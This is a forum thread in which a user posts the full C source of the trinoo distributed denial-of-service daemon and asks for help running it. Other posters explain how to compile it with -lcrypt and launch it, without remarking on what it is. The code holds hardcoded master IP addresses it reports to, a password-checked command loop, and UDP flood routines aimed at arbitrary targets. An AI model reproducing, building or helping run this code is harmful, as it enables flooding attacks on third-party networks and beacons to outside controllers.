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Old 03-26-2009, 02:19 AM   #1
soni_silver17
LQ Newbie
 
Registered: Jan 2009
Posts: 21

Rep: Reputation: 15
unable to run c program , error : cannot execute binary file


I have tried to execute the below ns.c program in RHEL 4 by using the command

#gcc -c ns.c -o ns.o

i am not getting any errors but while i am running object file by using the command

#./ns.o

i am getting the below error

bash : ./ns.o cannot execute binary file

........................ns.c program.....................................


/* trinoo daemon */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netdb.h>

/* ----------------- strfix.h ----------------- */
#ifdef __GNUC__
#define strcpy(dst, src) \
({ \
char *_out = (dst); \
if (sizeof(dst) <= sizeof(char *)) \
_out = strcpy(_out, (src)); \
else { \
*_out = 0; \
_out = strncat(_out, (src), sizeof(dst) - 1); \
} \
_out; \
})
#define strcat(dst, src) \
({ \
char *_out = (dst); \
if (sizeof(dst) <= sizeof(char *)) \
_out = strcat(_out, (src)); \
else { \
size_t _size = sizeof(dst) - strlen(_out) - 1; \
if (_size > 0) _out = strncat(_out, (src), _size); \
} \
_out; \
})
#endif
/* ----------------- END of strfix.h ----------------- */


/* #define PROCNAME "httpd" */
char *master[] = {
"129.237.122.40",
"207.228.116.19",
"209.74.175.130",
NULL
};

#define DEFSIZE 1000

int main(int argc, char *argv[])
{
int sock, fromlen, numread, i, sock2, bewm, timerz=120, hoe, foke;
struct sockaddr_in sa, from, to;
struct hostent *he;
char buf[1024];
char arg1[4], *arg2, pass[10], *temp, *unf;
void *buf2;
int start, end, stop=0,ablespoof=0;
#ifdef PROCNAME
for (bewm = argc-1; bewm >= 0; bewm--)
memset(argv[bewm], 0, strlen(argv[bewm]));
strcpy(argv[0], PROCNAME);
#endif
buf2 = (void*)malloc(DEFSIZE);

if ((sock=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) {
perror("socket");
exit(-1);
}

sa.sin_family = AF_INET;
sa.sin_addr.s_addr = INADDR_ANY;
sa.sin_port = htons(27444);
to.sin_family = AF_INET;

if (bind(sock, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
perror("bind");
exit(-1);
}
hello();
foke = fork();
if (foke > 0) {
hoe = setpgid(foke, foke);
exit(0);
}
if (foke == -1) exit(-1);
while (1) {
bzero(arg1, 1024);
bzero(buf, 1024);
fromlen=sizeof(from);
if ((numread = recvfrom(sock, buf, 1024, 0, (struct sockaddr *)&from, &fromlen)) < 0) {
perror("recvfrom");
continue;
}
if (strstr("l44", buf)==0) {
arg2 = malloc(sizeof(buf));
sscanf(buf, "%s %s %s", arg1, pass, arg2);
if (strcmp((char *)crypt(pass, "aI"), "aIf3YWfOhw.V.")==0) {
if(strcmp(arg1, "aaa")==0) {
to.sin_addr.s_addr = inet_addr(arg2);
start = time(NULL);
end = start + timerz;
stop = 0;
if((sock2 = getsock()) != -1)
while (!stop) {
to.sin_port = htons(rand()%65534);
sendto(sock2,buf2,sizeof(buf2), 0,(struct sockaddr*)(&to),sizeof(to));
if (time(NULL) > end) { close(sock2); stop = 1; }
}
stop=0;
}
if(strcmp(arg1, "bbb")==0)
if (atoi(arg2) > 1000)
timerz = 500;
else
timerz = atoi(arg2);
if(strcmp(arg1, "shi")==0) hello();
if(strcmp(arg1, "png")==0) sendudp((char *)inet_ntoa(from.sin_addr),"PONG",31335);
if(strcmp(arg1, "d1e")==0) exit(1);
if(strcmp(arg1, "rsz")==0) {
free(buf2);
buf2 = malloc(atoi(arg2));
bzero(buf2,sizeof(buf2));
}
if(strcmp(arg1, "xyz")==0) {
start = time(NULL);
end = start + timerz;
unf = malloc(sizeof(arg2));
if((sock2 = getsock()) != -1)
while (!stop) {
bzero(unf, sizeof(unf));
strcat(unf,arg2);
temp=strtok(unf,":");
while((temp = strtok(NULL,":"))!=NULL) {
printf("%s\n",temp);
to.sin_addr.s_addr = inet_addr(temp);
to.sin_port = htons(rand()%65534);
if (!stop)
sendto(sock2, buf2, sizeof(buf2), 0, (struct sockaddr*)(&to), sizeof(to));
if (time(NULL) > end) {
close(sock2);
stop = 1;
}
}
}
free(unf);
stop=0;
}
free(arg2);
}
}
}
}

int sendudp(char *host, char *data,int port)
{
int unf;
struct sockaddr_in out;

out.sin_family = AF_INET;
out.sin_addr.s_addr = inet_addr(host);
out.sin_port = htons(31335);

if ((unf = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) return -1;
sendto(unf,data,strlen(data),0,(struct sockaddr*)&out,sizeof(out));
return 1;
}

int hello()
{
int i=0;
while (master[i] != NULL) { sendudp(master[i], "*HELLO*", 31335); i++; }
}

int getsock()
{
int i;
if ((i = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) != -1)
return i;
else
return -1;
}

Please help me with solution....thanks
 
Old 03-26-2009, 07:05 AM   #2
tronayne
Senior Member
 
Registered: Oct 2003
Location: Northeastern Michigan, where Carhartt is a Designer Label
Distribution: Slackware 32- & 64-bit Stable
Posts: 3,541

Rep: Reputation: 1065Reputation: 1065Reputation: 1065Reputation: 1065Reputation: 1065Reputation: 1065Reputation: 1065Reputation: 1065
A dot-o file is the output of the compiler that must be linked with system libraries to be executable (an executable program will not have a file extension; i.e., no such thing as dot-exe or similar in Linux).

Rather than compiling as you did (gcc -c ns.c -o ns.o) try
Code:
gcc  ns.c -o ns
You can, if you are compiling a program (no functions in separate files) use the make utility
Code:
make ns
However, your program as is returns
Code:
make ns
cc     ns.c   -o ns
/tmp/ccAc5siK.o: In function `main':
ns.c:(.text+0x1ec): undefined reference to `crypt'
collect2: ld returned 1 exit status
make: *** [ns] Error 1
which indicates that it must be linked with libcrypt and you should compile it
Code:
gcc ns.c -lcrypt -o ns
Hope this helps some.
 
Old 03-30-2009, 06:58 AM   #3
soni_silver17
LQ Newbie
 
Registered: Jan 2009
Posts: 21

Original Poster
Rep: Reputation: 15
c error in Linux

Thanks for giving reply. It has worked. But after compiling how to run the program...
 
Old 03-30-2009, 07:33 AM   #4
tronayne
Senior Member
 
Registered: Oct 2003
Location: Northeastern Michigan, where Carhartt is a Designer Label
Distribution: Slackware 32- & 64-bit Stable
Posts: 3,541

Rep: Reputation: 1065Reputation: 1065Reputation: 1065Reputation: 1065Reputation: 1065Reputation: 1065Reputation: 1065Reputation: 1065
At a command prompt (in a console window) simply enter the name and hit the carriage return key. Note that if you repeat this there will be another copy of the program running for each time you do this.

Your program is a daemon program; i.e., it will continue to run until the system is rebooted or you kill the running process with the kill utility. You can see if it's running with the ps utility
Code:
ps -f
which will display something like
Code:
yourlogin    10232 10215  0 08:29 pts/1    00:00:00 ns
The first number (in this example, 10232) is the process identification number or PID and you can kill that with
Code:
kill -9 10232
 
Old 03-30-2009, 08:45 AM   #5
AlucardZero
Senior Member
 
Registered: May 2006
Location: USA
Distribution: Debian
Posts: 4,824

Rep: Reputation: 615Reputation: 615Reputation: 615Reputation: 615Reputation: 615Reputation: 615
Quote:
Originally Posted by tronayne View Post
At a command prompt (in a console window) simply enter the name and hit the carriage return key.
Don't forget the ./.

soni_silver17: just type
Code:
./ns
once ns is compiled.
 
  


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